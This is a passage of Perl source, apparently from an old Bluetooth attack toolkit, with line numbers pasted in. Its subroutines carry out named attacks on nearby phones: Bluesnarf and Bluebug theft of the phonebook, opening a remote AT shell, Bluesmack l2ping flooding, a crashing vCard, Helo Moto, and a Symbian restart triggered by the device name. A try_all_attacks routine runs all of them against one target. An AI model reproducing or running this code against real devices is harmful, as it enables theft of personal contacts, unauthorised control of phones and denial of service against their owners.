  1071.     unlink("$devicedir/phonebook") if -e ("$devicedir/phonebook");
  1072.     print "Bluebugging $target:$preferences{'channel'}\n";
  1073.     system("$cfg->{'attest'} $target $preferences{'channel'} > $devicedir/phonebook");
  1074.     
  1075.     die "FATAL! $devicedir/phonebook is a symbolic link!\n" if -l ("$devicedir/phonebook");
  1076.     open(IN,"<$devicedir/phonebook");
  1077.     my @input = <IN>;
  1078.     close(IN);
  1079.     
  1080.     if(scalar(@input) == 0)
  1081.     {
  1082.     print "<<< No phonebook received.\n";
  1083.     }
  1084.     else
  1085.     {
  1086.     map{print;}@input;
  1087.     }
  1088.  
  1089.     &{$last_menu} unless $no_menu;
  1090. }
  1091.  
  1092. # Get a BlueBug AT Shell
  1093. sub bluebug_atshell
  1094. {
  1095.     $devicedir = $preferences{'logdir'} . $target;
  1096.  
  1097.     if($target eq "")
  1098.     {
  1099.     print "<<< I need a target.\n";
  1100.     $no_menu = 1;
  1101.     get_a_target();
  1102.     $no_menu = 0;
  1103.     }
  1104.  
  1105.     ask_channel();
  1106.     print "<<< Trying to get a BlueBug AT shell on $target:$preferences{'channel'}\n";
  1107.     system("$cfg->{'atshell'} $target $preferences{'channel'}");
  1108.     &{$last_menu} unless $no_menu;
  1109. }
  1110.  
  1111. # Blue Smack
  1112. sub bluesmack
  1113. {
  1114.     $devicedir = $preferences{'logdir'} . $target;
  1115.     
  1116.     if($target eq "")
  1117.     {
  1118.     print "<<< I need a target.\n";
  1119.     $no_menu = 1;
  1120.     get_a_target();
  1121.     $no_menu = 0;
  1122.     }
  1123.  
  1124.     print "<<< Bluesmacking $target\n";
  1125.     system("$cfg->{'l2ping'} -f -s 667 $target >/dev/null \&");
  1126.     &{$last_menu} unless $no_menu;
  1127. }
  1128.  
  1129. # Stop Bluesmack attack
  1130. sub stop_bluesmack
  1131. {
  1132.     system("killall l2ping 2> /dev/null");
  1133.     &{$last_menu} unless $no_menu;
  1134. }
  1135.  
  1136. # Try to dos the device by sending a nasty vcard
  1137. sub send_nasty_vcard
  1138. {
  1139.     $devicedir = $preferences{'logdir'} . $target;
  1140.     
  1141.     if($target eq "")
  1142.     {
  1143.     print "<<< I need a target.\n";
  1144.     $no_menu = 1;
  1145.     get_a_target();
  1146.     $no_menu = 0;
  1147.     }
  1148.  
  1149.     print "<<< Sending a nasty vcard to $target\n";
  1150.     system("$cfg->{'btobex'} push $target $preferences{'vcard'}");
  1151.     &{$last_menu} unless $no_menu;
  1152. }
  1153.  
  1154. # Helo moto attack (motorola)
  1155. sub helomoto
  1156. {
  1157.     if($target eq "")
  1158.     {
  1159.     print "<<< I need a target.\n";
  1160.     $no_menu = 1;
  1161.     get_a_target();
  1162.     $no_menu = 0;
  1163.     }
  1164.  
  1165.     $preferences{'channel'} = get_channel($target,"OBEX Object Push");
  1166.     ask_channel() if ($preferences{'channel'} == 0) || ($preferences{'channel'} eq "");
  1167.     print "<<< Launching Helo Moto attack on $target:$preferences{'channel'}\n";
  1168.     print "<<< Opening RFCOMM connection to $target:$preferences{'channel'}\n";
  1169.     system("$cfg->{'rfcomm'} -i $preferences{'device'} connect $rfcomm_device $target $preferences{'channel'} &");    
  1170.     sleep 2;
  1171.     print "<<< Trying to launch AT shell on channel 3\n";
  1172.     system("$cfg->{'atshell'} $target 3");    
  1173.     print "Closing RFCOMM connection.\n";
  1174.     system("$cfg->{'rfcomm'} -i $preferences{'device'} release $rfcomm_device");
  1175.     &{$last_menu} unless $no_menu;
  1176. }
  1177.  
  1178. # Blue Snarf an ericsson phone
  1179. sub bluesnarf_ericsson
  1180. {
  1181.     $devicedir = $preferences{'logdir'} . $target;
  1182.     
  1183.     if($target eq "")
  1184.     {
  1185.     print "<<< I need a target.\n";
  1186.     $no_menu = 1;
  1187.     get_a_target();
  1188.     $no_menu = 0;
  1189.     }
  1190.  
  1191.     unlink("$devicedir/phonebook") if -e ("$devicedir/phonebook");
  1192.     print "<<< Bluesnarfing $target (ericsson mode)\n";
  1193.     system("$cfg->{'obexftp'} -b $target -B 10 -g telecom/pb.vcf > $devicedir/phonebook");
  1194.     
  1195.     die "FATAL! $devicedir/phonebook is a symbolic link!\n" if -l ("$devicedir/phonebook");
  1196.     open(IN,"<$devicedir/phonebook");
  1197.     my @input = <IN>;
  1198.     close(IN);
  1199.     
  1200.     if(scalar(@input) == 0)
  1201.     {
  1202.     unlink("$devicedir/phonebook") if -e ("$devicedir/phonebook");
  1203.     system("$cfg->{'attest'} $target 17 > $devicedir/phonebook");
  1204.     
  1205.     die "FATAL! $devicedir/phonebook is a symbolic link!\n" if -l ("$devicedir/phonebook");
  1206.     open(IN,"<$devicedir/phonebook");
  1207.     my @input = <IN>;
  1208.     close(IN);
  1209.     
  1210.     if(scalar(@input) == 0)
  1211.     {
  1212.         print "<<< No phonebook received.\n";
  1213.     }
  1214.     else
  1215.     {
  1216.         map{print;}@input;
  1217.     }
  1218.     }
  1219.     else
  1220.     {
  1221.     map{print;}@input;
  1222.     }
  1223.  
  1224.     &{$last_menu} unless $no_menu;
  1225. }
  1226.  
  1227. # A Symbian OS restarts if it gets in touch with a device
  1228. # name including a 090a in hex
  1229. sub symbian_remote_restart
  1230. {
  1231.     if($target eq "")
  1232.     {
  1233.     print "<<< I need a target.\n";
  1234.     $no_menu = 1;
  1235.     get_a_target();
  1236.     $no_menu = 0;
  1237.     }
  1238.  
  1239.     my $oldname = get_device_name();
  1240.     set_device_name($oldname . "\x09\x0a");
  1241.     print "<<< Launching Symbian Remote Restart attack on $target\n";
  1242.     check_connection();
  1243.     sleep 1;
  1244.     check_connection();
  1245.     set_device_name($oldname);
  1246.     &{$last_menu} unless $no_menu;
  1247. }
  1248.  
  1249. # Try all attacks on a single device
  1250. sub try_all_attacks
  1251. {
  1252.     $no_menu = 1;
  1253.  
  1254.     if($target eq "")
  1255.     {
  1256.     print "<<< I need a target.\n";
  1257.     get_a_target();
  1258.     }
  1259.  
  1260.     bluesnarf();
  1261.     bluesnarf2();
  1262.     bluesnarf_ericsson();
  1263.     bluebug();
  1264.     helomoto();
  1265.     bluesmack();
  1266.     send_nasty_vcard();
  1267.     symbian_remote_restart();
  1268.  
  1269.     $no_menu = 0;
  1270.     &{$last_menu};
  1271. }
  1272.  
  1273.  
  1274. ###[ HARMLESS SUBROUTINES ]###
  1275.  
  1276. # Check filenames
  1277. sub check_preferences
  1278. {
  1279.     die "Check logdir.\n" unless $preferences{'logdir'} =~ /[a-zA-Z0-9\/]/g;
  1280.     die "Check logfile.\n" unless $preferences{'logfile'} =~ /[a-zA-Z0-9\/\.]/g;
  1281.     die "Check sound file.\n" unless $preferences{'sound_file'} =~ /[a-zA-Z0-9\/\.]/g;
  1282.     die "Check channel.\n" unless $preferences{'channel'} =~ /^\d+$/;
  1283.     die "Check device name.\n" unless $preferences{'device_name'} =~ /[a-zA-Z0-9]/g;
  1284. }
  1285.  
  1286. # Print out the main logfile
  1287. sub print_logfile
  1288. {
  1289.     die "FATAL! $preferences{'logfile'} is a symbolic link!\n" if -l $preferences{'logfile'};
  1290.     open(IN,"<$preferences{'logfile'}") or die "Cannot read $preferences{'logfile'}!\n";    
  1291.     while(<IN>) { print; }
  1292.     close(IN);
  1293. }
  1294.  
  1295. # Change preferences
  1296. sub change_preferences
  1297. {
  1298.     my $oldlogfile = $preferences{'logfile'};
  1299.     my $olddevicename = $preferences{'device_name'};
  1300.     my $olddevicetype = $preferences{'device_type'};
  1301.     my $olddevicevisibility = $preferences{'device_visibility'};
  1302.  
  1303.     while(my ($key,$value) = each %preferences)
  1304.     {
  1305.     print "$key: $value\n";
  1306.     print "Change it? <y/N>: ";
  1307.     my $input = <STDIN>;
  1308.     chomp $input;
  1309.  
  1310.     if($input eq "y")
  1311.     {
  1312.         print ">>> ";
  1313.         $input = <STDIN>;
  1314.         chomp $input;
  1315.         $preferences{$key} = $input;
  1316.     }
  1317.     }
  1318.  
  1319.     check_preferences();
  1320.  
  1321.     if($preferences{'logfile'} ne $oldlogfile)
  1322.     {
  1323.     close(LOG);
  1324.     unlink($preferences{'logfile'}) if -l $preferences{'logfile'};
  1325.     open(LOG,">>$preferences{'logfile'}") or die "Cannot write to $preferences{'logfile'}!\n$!\n";
  1326.     }
  1327.  
  1328.     if($preferences{'device_name'} ne $olddevicename)
  1329.     {
  1330.     set_device_name($preferences{'device_name'});
  1331.     }
  1332.  
  1333.     if(lc($preferences{'device_type'}) ne lc($olddevicetype))
  1334.     {
  1335.     set_device_type($preferences{'device_type'});
  1336.     }
  1337.  
  1338.     if($preferences{'device_visibility'} != $olddevicevisibility)
  1339.     {
  1340.     set_device_visibility();
  1341.     }
  1342.  
  1343.     &{$last_menu};
  1344. }
  1345.  
  1346. # Show preferences
  1347. sub show_preferences
  1348. {
  1349.     print "<<< Current settings are:\n\n";
  1350.  
  1351.     while(my ($key,$value) = each %preferences)
  1352.     {
  1353.     print "$key: $value\n";
  1354.     }
  1355.  
  1356.     &{$last_menu};
  1357. }
  1358.  
  1359. # Initialize everything we need
  1360. sub init_program
  1361. {
  1362.     # Got r00t?
  1363.     die "You should have EUID 0 to use this tool.\n" if($> != 0);
  1364.  
  1365.     # Check filenames
  1366.     check_preferences();
  1367.  
  1368.     # Check binaries
  1369.     die "Missing or non-executable binary hciconfig $cfg->{'hciconfig'}.\n" unless -x $cfg->{'hciconfig'};
  1370.     die "Missing or non-executable binary hcitool $cfg->{'hcitool'}.\n" unless -x $cfg->{'hcitool'};
  1371.     die "Missing or non-executable binary sdptool $cfg->{'sdptool'}.\n" unless -x $cfg->{'sdptool'};
  1372.     die "Missing or non-executable binary l2ping $cfg->{'l2ping'}.\n" unless -x $cfg->{'l2ping'};
  1373.     die "Missing or non-executable binary rfcomm $cfg->{'rfcomm'}.\n" unless -x $cfg->{'rfcomm'};
  1374.     die "Missing or non-executable binary rfcomm_shell $cfg->{'rfcomm_shell'}.\n" unless -x $cfg->{'rfcomm_shell'};
  1375.     die "Missing or non-executable binary btobex $cfg->{'btobex'}.\n" unless -x $cfg->{'btobex'};
  1376.     die "Missing or non-executable binary btftp $cfg->{'btftp'}.\n" unless -x $cfg->{'btftp'};
  1377.     die "Missing or non-executable binary hstest $cfg->{'hstest'}.\n" unless -x $cfg->{'hstest'};
  1378.     die "Missing or non-executable binary attest $cfg->{'attest'}.\n" unless -x $cfg->{'attest'};
  1379.     die "Missing or non-executable binary atshell $cfg->{'atshell'}.\n" unless -x $cfg->{'atshell'};
  1380.     die "Missing or non-executable binary obexftp $cfg->{'obexftp'}.\n" unless -x $cfg->{'obexftp'};
  1381.     die "Missing or non-executable binary change_btaddr $cfg->{'change_btaddr'}.\n" unless -x $cfg->{'change_btaddr'};
  1382.     die "Missing or non-executable binary redfang $cfg->{'redfang'}.\n" unless -x $cfg->{'redfang'};
  1383.     die "Missing or non-executable binary play $cfg->{'play'}.\n" unless -x $cfg->{'play'};
  1384.     die "Missing or non-executable binary mpg123 $cfg->{'mpg123'}.\n" unless -x $cfg->{'mpg123'};
  1385.     die "Missing or non-executable binary sox $cfg->{'sox'}.\n" unless -x $cfg->{'sox'};
  1386.  
  1387.     # Is the device up and running?
  1388.     open(HCI,"$cfg->{'hciconfig'} $preferences{'device'} up |") or die "$cfg->{'hciconfig'} $preferences{'device'} up failed!\n$!\n";
  1389.     close(HCI);
  1390.  
  1391.     # Set the device name
  1392.     set_device_name($preferences{'device_name'});
  1393.     
  1394.     # Set the device type
  1395.     set_device_type($preferences{'device_type'});
  1396.  
  1397.     # Set device visibility
  1398.     set_device_visibility();
  1399.  
  1400.     # Check if logdir exists    
  1401.     mkdir($preferences{'logdir'}) unless(-d $preferences{'logdir'});
  1402.  
  1403.     # Open logfile
  1404.     unlink($preferences{'logfile'}) if -l $preferences{'logfile'};
  1405.     open(LOG,">>$preferences{'logfile'}") or die "Cannot write to $preferences{'logfile'}!\n$!\n";
  1406. }
  1407.  
  1408. # Just clean up and exit
  1409. sub exit_program
  1410. {
  1411.     $no_menu = 1;
  1412.     stop_bluesmack();
  1413.     system("$cfg->{'rfcomm'} -i $preferences{'device'} release all");
  1414.     close(LOG);
  1415.     exit(0);
  1416. }
  1417.  
  1418. # Mmmm... EOF.
  1419.